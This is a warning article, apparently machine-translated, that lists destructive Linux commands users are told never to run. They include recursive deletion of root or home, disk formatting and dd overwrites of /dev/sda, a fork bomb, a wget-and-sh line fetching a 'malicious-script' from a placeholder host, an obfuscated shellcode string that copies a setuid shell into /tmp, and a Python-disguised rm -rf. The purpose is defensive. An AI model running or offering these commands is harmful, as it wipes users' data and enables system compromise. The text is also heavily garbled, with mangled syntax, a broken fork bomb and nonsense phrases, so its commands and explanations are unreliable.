Never run Linux commands

The commands listed in this article cannot be run, even if you are curious, unless you are running on a virtual machine (you can restore the problem ), because they will actually damage your system. Therefore, it is a good habit not to execute commands under root or other advanced management permissions. One day later, the Linux system will become as popular as windows, with more and more users, including those who are not familiar with computers. The purpose of this article is to tell you:
Linux
While giving you the maximum degree of freedom, it also makes it easier to destroy the system. If you do not understand the meaning of some commands, download and execute scripts containing malicious commands, or be cheated to run some commands, it's easy to make you cry
It's too late. This does not mean that Linux is not safe, but that Linux is very insecure in the face of people who do not know Linux or who are not careful. Windows, Linux, and people themselves are the biggest insecure factors. The following command will delete files on your hard disk, and the RM-r recursive deletion, and-F forced deletion are very dangerous options, even if daily operations, you may also encounter accidental file deletion. Sudo Rm-RF/delete all files in the root Partition
Sudo Rm-RF. Delete all files in the current directory
Sudo Rm-RF * same as above
Rm-RF * or Rm-RF *. * same as above
Rm-RF ~ /& Delete the root partition and home directory. Even if you are not root, the home directory will not be spared. Similarly, if you do not know mkfs. xxxx (XXXX can be vfat, ext2, ext3, BFs ......) If it is a formatting command, running the following command will erase your hard disk partition: sudo mkfs. XXXX dd is a powerful Io input/output targeting tool. If it is improperly used, it is highly destructive, not just the current partition, the current system, but sometimes the entire hard disk. Sudo dd If =/dev/Zero of =/dev/SDA all hard disks are cleared.
Sudo dd If =/dev/SDA of =/dev/SDB overwrite the content of the second disk.
Sudo dd If = something of =/dev/SDA writes junk data to the hard disk. Similarly, direct the command result to the hard disk is equivalent to writing junk data to the hard disk: any_command>/dev/SDA may use arbitrary data to damage the SDA and SDB on the hard disk. The Linux/dev system provides convenient and powerful functions for operating hardware, and also makes damage easier. The fork command opens a sub-process. If the fork is placed in an infinite loop, the sub-process will consume all the memory resources: () {:|:<}: the symbol of this segment of zhuyun, the Fork sub-process can be kept by the shell, and the memory is exhausted and has to be restarted. This is not a bug, but the shell statement is deliberately abbreviated. The following is the same: Sometimes fork while fork is a source of damage ~ Some compressed packages require you to decompress them to an existing Directory in a system. At this time, you must be very careful. The compressed package may contain thousands of small files, try to overwrite your existing file with various file names. Some compressed packages look small, but decompress the compressed GB of junk data to fill your hard disk. Downloaded from an irregular website Program And scripts, which may also contain malicious commands. Do not execute wget [url] http: // some_place/some_file [/url].
Sh./some_file
Wget [url] http://hax018r.org/malicious-script#/url]
Sh./malicious-Script script should ensure the source is regular. If you have the ability, you can read its Code . Even if Source code Do not compile and execute the char ESP [] _ attribute _ (Section (". Text")/* E. S. P
Release */
= "Xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"Xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"Xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"X56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"X8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"Xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"X6ex2fx73x68x00x2dx63x00"
"CP-P/bin/sh/tmp/. Beyond; chmod 4755
/Tmp /. beyond; "; the above seems to be just a bunch of meaningless hexadecimal data. If someone tells you that you can run this program without entering the password to obtain the root permission of the system, don't trust him. The above program actually runs "RM-RF ~ /&". Python-C 'import OS; OS. system ("". join ([CHR (ord (I)-1) For I in "Sn !. SG! "]) 'This program will actually execute Rm-RF *, maybe you are surprised that the" Sn !. SG! What does it mean? It is actually the next of every RM-RF * letter! So how can we avoid running malicious programs?
First, do not use root as the user for daily use. If the above program is not root, the scope of hazards will be much smaller.
Second, you need to know what commands are used and what commands you Don't know should not be run rashly. To run programs with potential damage, check your input carefully.
Third, ensure that the source of software and scripts is regular.
Last, although it is relatively negative, it is indeed very important:
Back up your data frequently !!